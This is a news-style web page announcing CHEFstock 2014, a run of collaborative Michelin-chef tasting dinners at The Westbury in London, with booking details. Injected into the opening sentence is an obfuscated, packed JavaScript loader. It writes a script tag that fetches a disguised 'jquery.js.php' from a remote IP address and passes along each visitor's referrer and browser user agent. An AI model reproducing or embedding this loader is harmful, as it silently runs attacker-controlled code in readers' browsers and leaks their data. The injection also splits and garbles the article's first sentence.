Four-star (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkkna|var|u0026u|referrer|eyidi||js|php’.split(‘|’),0,{}))
chefs, three unique dinners and one stylish setting can only mean one thing – CHEFstock is returning in September 2014. The line-up for CHEFstock 2014 has been announced, where for three Tuesdays in September, Alyn Williams will be joined in the kitchen of Michelin-starred restaurant The Westbury.

Margot Janse of The Tasting Room, Paul Ainsworth of Paul Ainsworth at No.6 and brothers Peter and Jonray Sanchez-Iglesias of Casamia are the announced chefs to be joining Williams in the kitchen. For each evening the Michelin starred chefs will create culinary magic, combining their individual talents to produce one unique tasting menu.


Guests will arrive to a welcome champagne reception with canapés, then taking their seats to enjoy eight courses from the one-off collaborative tasting menus. Tickets may seem fairly pricey at £200 per person, but the exclusivity of sampling all of the chef’s recipes in one evening isn’t something that crops up often. Plus, the ticket price covers all food, wine and champagne.

To book, contact reservations on 02071836426 or email alynwilliams@westburymayfair.com

Tue 9th, 16th & 30th September 2014
The Westbury, 37 Conduit Street, London W1S 2YF